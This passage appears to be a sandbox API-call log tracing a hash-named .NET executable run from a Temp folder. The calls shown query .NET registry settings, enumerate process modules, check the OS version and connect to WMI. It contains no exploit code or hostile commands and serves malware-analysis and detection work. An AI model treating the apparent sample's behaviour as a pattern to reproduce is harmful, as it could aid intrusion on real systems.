ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.925] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.925] RegQueryValueExW (in: hKey=0x240, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.925] RegCloseKey (hKey=0x240) returned 0x0 [0264.925] GetCurrentProcessId () returned 0xe88 [0264.925] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.925] EnumProcessModules (in: hProcess=0x240, lphModule=0x255baf8, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x255baf8, lpcbNeeded=0x54f370) returned 1 [0264.926] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x255bc38, cb=0xc | out: lpmodinfo=0x255bc38*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.927] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.927] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.927] CoTaskMemFree (pv=0x8560d0) [0264.927] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.927] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.927] CoTaskMemFree (pv=0x8560d0) [0264.927] CloseHandle (hObject=0x240) returned 1 [0264.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.928] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.928] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.928] RegQueryValueExW (in: hKey=0x240, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.928] RegCloseKey (hKey=0x240) returned 0x0 [0264.929] GetCurrentProcessId () returned 0xe88 [0264.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.929] EnumProcessModules (in: hProcess=0x240, lphModule=0x255e8a8, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x255e8a8, lpcbNeeded=0x54f370) returned 1 [0264.930] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x255e9e8, cb=0xc | out: lpmodinfo=0x255e9e8*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.930] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.930] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.930] CoTaskMemFree (pv=0x8560d0) [0264.930] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.930] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.931] CoTaskMemFree (pv=0x8560d0) [0264.931] CloseHandle (hObject=0x240) returned 1 [0264.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.931] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.931] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.932] RegQueryValueExW (in: hKey=0x240, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.932] RegCloseKey (hKey=0x240) returned 0x0 [0264.932] GetCurrentProcessId () returned 0xe88 [0264.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.932] EnumProcessModules (in: hProcess=0x240, lphModule=0x2561410, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x2561410, lpcbNeeded=0x54f370) returned 1 [0264.933] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x2561550, cb=0xc | out: lpmodinfo=0x2561550*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.933] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.933] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.934] CoTaskMemFree (pv=0x8560d0) [0264.934] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.934] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.934] CoTaskMemFree (pv=0x8560d0) [0264.934] CloseHandle (hObject=0x240) returned 1 [0264.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.935] RegQueryValueExW (in: hKey=0x240, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.935] RegCloseKey (hKey=0x240) returned 0x0 [0264.936] GetCurrentProcessId () returned 0xe88 [0264.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.936] EnumProcessModules (in: hProcess=0x240, lphModule=0x2563f68, cb=0x100, lpcbNeeded=0x54f370 | out: lphModule=0x2563f68, lpcbNeeded=0x54f370) returned 1 [0264.937] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x25640a8, cb=0xc | out: lpmodinfo=0x25640a8*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.937] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.937] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.937] CoTaskMemFree (pv=0x8560d0) [0264.937] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.937] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.938] CoTaskMemFree (pv=0x8560d0) [0264.938] CloseHandle (hObject=0x240) returned 1 [0264.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.938] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x0) returned 0x2 [0264.939] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.939] RegQueryValueExW (in: hKey=0x240, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.964] RegCloseKey (hKey=0x240) returned 0x0 [0264.973] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.973] RegQueryValueExW (in: hKey=0x240, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.973] RegCloseKey (hKey=0x240) returned 0x0 [0264.973] GetCurrentProcessId () returned 0xe88 [0264.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.974] EnumProcessModules (in: hProcess=0x240, lphModule=0x25679c0, cb=0x100, lpcbNeeded=0x54f36c | out: lphModule=0x25679c0, lpcbNeeded=0x54f36c) returned 1 [0264.974] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x2567b00, cb=0xc | out: lpmodinfo=0x2567b00*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.975] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.975] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.975] CoTaskMemFree (pv=0x8560d0) [0264.975] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.975] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.975] CoTaskMemFree (pv=0x8560d0) [0264.976] CloseHandle (hObject=0x240) returned 1 [0264.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.976] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f364 | out: phkResult=0x54f364*=0x0) returned 0x2 [0264.977] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f364 | out: phkResult=0x54f364*=0x240) returned 0x0 [0264.977] RegQueryValueExW (in: hKey=0x240, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x54f380, lpData=0x0, lpcbData=0x54f37c*=0x0 | out: lpType=0x54f380*=0x0, lpData=0x0, lpcbData=0x54f37c*=0x0) returned 0x2 [0264.977] RegCloseKey (hKey=0x240) returned 0x0 [0264.978] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f368 | out: phkResult=0x54f368*=0x240) returned 0x0 [0264.978] RegQueryValueExW (in: hKey=0x240, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x54f384, lpData=0x0, lpcbData=0x54f380*=0x0 | out: lpType=0x54f384*=0x0, lpData=0x0, lpcbData=0x54f380*=0x0) returned 0x2 [0264.978] RegCloseKey (hKey=0x240) returned 0x0 [0264.979] GetCurrentProcessId () returned 0xe88 [0264.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x240 [0264.979] EnumProcessModules (in: hProcess=0x240, lphModule=0x256a8fc, cb=0x100, lpcbNeeded=0x54f36c | out: lphModule=0x256a8fc, lpcbNeeded=0x54f36c) returned 1 [0264.980] GetModuleInformation (in: hProcess=0x240, hModule=0x400000, lpmodinfo=0x256aa3c, cb=0xc | out: lpmodinfo=0x256aa3c*(lpBaseOfDll=0x400000, SizeOfImage=0x3c000, EntryPoint=0x436abe)) returned 1 [0264.980] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.980] GetModuleBaseNameW (in: hProcess=0x240, hModule=0x400000, lpBaseName=0x8560d0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0264.980] CoTaskMemFree (pv=0x8560d0) [0264.980] CoTaskMemAlloc (cb=0x804) returned 0x8560d0 [0264.980] GetModuleFileNameExW (in: hProcess=0x240, hModule=0x400000, lpFilename=0x8560d0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x6a [0264.981] CoTaskMemFree (pv=0x8560d0) [0264.981] CloseHandle (hObject=0x240) returned 1 [0264.981] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54ee94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0264.981] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f364 | out: phkResult=0x54f364*=0x0) returned 0x2 [0264.982] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x54f364 | out: phkResult=0x54f364*=0x240) returned 0x0 [0264.982] RegQueryValueExW (in: hKey=0x240, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x54f380, lpData=0x0, lpcbData=0x54f37c*=0x0 | out: lpType=0x54f380*=0x0, lpData=0x0, lpcbData=0x54f37c*=0x0) returned 0x2 [0264.982] RegCloseKey (hKey=0x240) returned 0x0 [0265.095] CreateBindCtx (in: reserved=0x0, ppbc=0x54f3c4 | out: ppbc=0x54f3c4*=0x8439f0) returned 0x0 [0265.096] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ee80 | out: ppvObject=0x54ee80*=0x8439f0) returned 0x0 [0265.098] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54ee34 | out: ppvObject=0x54ee34*=0x0) returned 0x80004002 [0265.098] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54ec5c | out: ppvObject=0x54ec5c*=0x0) returned 0x80004002 [0265.098] IUnknown:AddRef (This=0x8439f0) returned 0x3 [0265.098] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e790 | out: ppvObject=0x54e790*=0x0) returned 0x80004002 [0265.098] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e740 | out: ppvObject=0x54e740*=0x0) returned 0x80004002 [0265.098] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e74c | out: ppvObject=0x54e74c*=0x0) returned 0x80004002 [0265.098] CoGetContextToken (in: pToken=0x54e7ac | out: pToken=0x54e7ac) returned 0x0 [0265.099] CObjectContext::QueryInterface () returned 0x0 [0265.099] CObjectContext::GetCurrentApartmentType () returned 0x0 [0265.099] Release () returned 0x0 [0265.100] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x84b7fc | out: ppv=0x84b7fc*=0x81dfd8) returned 0x0 [0265.149] CoGetContextToken (in: pToken=0x54ebbc | out: pToken=0x54ebbc) returned 0x0 [0265.149] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ec40 | out: ppvObject=0x54ec40*=0x0) returned 0x80004002 [0265.150] IUnknown:Release (This=0x8439f0) returned 0x2 [0265.150] CoGetContextToken (in: pToken=0x54f18c | out: pToken=0x54f18c) returned 0x0 [0265.150] CoGetContextToken (in: pToken=0x54f0ec | out: pToken=0x54f0ec) returned 0x0 [0265.150] IUnknown:QueryInterface (in: This=0x8439f0, riid=0x54f1bc*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1b8 | out: ppvObject=0x54f1b8*=0x8439f0) returned 0x0 [0265.150] IUnknown:AddRef (This=0x8439f0) returned 0x4 [0265.150] IUnknown:Release (This=0x8439f0) returned 0x3 [0265.151] IUnknown:Release (This=0x8439f0) returned 0x2 [0265.151] CoGetContextToken (in: pToken=0x54f214 | out: pToken=0x54f214) returned 0x0 [0265.151] IUnknown:AddRef (This=0x8439f0) returned 0x3 [0265.151] MkParseDisplayName (in: pbc=0x8439f0, szUserName="WinMgmts:", pchEaten=0x54f3f8, ppmk=0x54f3b0 | out: pchEaten=0x54f3f8, ppmk=0x54f3b0*=0x85ede8) returned 0x0 [0265.792] malloc (_Size=0x80) returned 0x2a2e70 [0265.797] DllGetClassObject (in: rclsid=0x862334*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x54eff0*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54e6a8 | out: ppv=0x54e6a8*=0x0) returned 0x80004002 [0265.797] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0265.797] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.798] DllGetClassObject (in: rclsid=0x862334*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x752bee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54f1a4 | out: ppv=0x54f1a4*=0x4ea0810) returned 0x0 [0265.798] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0265.798] WinMGMTS:IClassFactory:CreateInstance (in: This=0x4ea0810, pUnkOuter=0x0, riid=0x752bf084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f150 | out: ppvObject=0x54f150*=0x4ea0850) returned 0x0 [0265.798] GetVersionExW (in: lpVersionInformation=0x54ef9c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x54f000, szCSDVersion="堡痕\x08쀕") | out: lpVersionInformation=0x54ef9c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0265.799] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x54ef90 | out: phkResult=0x54ef90*=0x284) returned 0x0 [0265.799] RegQueryValueExW (in: hKey=0x284, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x54ef98, lpcbData=0x54ef94*=0x4 | out: lpType=0x0, lpData=0x54ef98*=0x3, lpcbData=0x54ef94*=0x4) returned 0x0 [0265.799] RegCloseKey (hKey=0x284) returned 0x0 [0265.799] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0828 [0265.799] GetSystemDirectoryW (in: lpBuffer=0x4ea0828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0265.799] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x75ca0000 [0265.801] GetProcAddress (hModule=0x75ca0000, lpProcName="DuplicateTokenEx") returned 0x75caca24 [0265.801] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.801] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0828 [0265.801] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0850 [0265.802] WinMGMTS:IUnknown:Release (This=0x4ea0810) returned 0x0 [0265.802] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.802] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x4ea0850, pbc=0x8439f0, pszDisplayName="WinMgmts:", pchEaten=0x54f368, ppmkOut=0x54f36c | out: pchEaten=0x54f368*=0x9, ppmkOut=0x54f36c*=0x85ede8) returned 0x0 [0265.802] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0265.821] IBindCtx:GetObjectParam (in: This=0x8439f0, pszKey="WmiObject", ppunk=0x54f270 | out: ppunk=0x54f270*=0x0) returned 0x80004005 [0265.821] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0860 [0265.821] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0265.821] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0880 [0265.822] CoCreateInstance (in: rclsid=0x721d42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x721d42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, 